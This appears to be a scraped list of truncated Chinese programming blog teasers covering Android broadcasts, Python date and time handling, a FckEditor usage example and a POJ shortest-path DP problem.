Broadcast机制简要介绍 来源: http://blog.csdn.net/luoshengyang/article/details/6730748 导语 广播机制在Android系统中,也不算 ...
- python(4)-- 日期 & 时间
1. Python 提供了一个 time 和 calendar 模块可以用于格式化日期和时间. 2. 时间间隔是以秒为单位的浮点小数. 3. 每个时间戳都以自从1970年1月1日午夜(历元)经过了多长 ...
- FckEditor2.65使用范例源码
原文发布时间为:2009-10-12 -- 来源于本人的百度文章 [由搬家工具导入] 下载地址:http://www.xmaspx.com/Services/FileAttachment.ashx?A ...
- poj 3311 Hie with the Pie 经过所有点(可重)的最短路径 floyd + 状压dp
题目链接 题意 给定一个\(N\)个点的完全图(有向图),求从原点出发,经过所有点再回到原点的最短路径长度(可重复经过中途点). 思路 因为可多次经过同一个点,所以可用floyd先预处理出每两个点之间 ...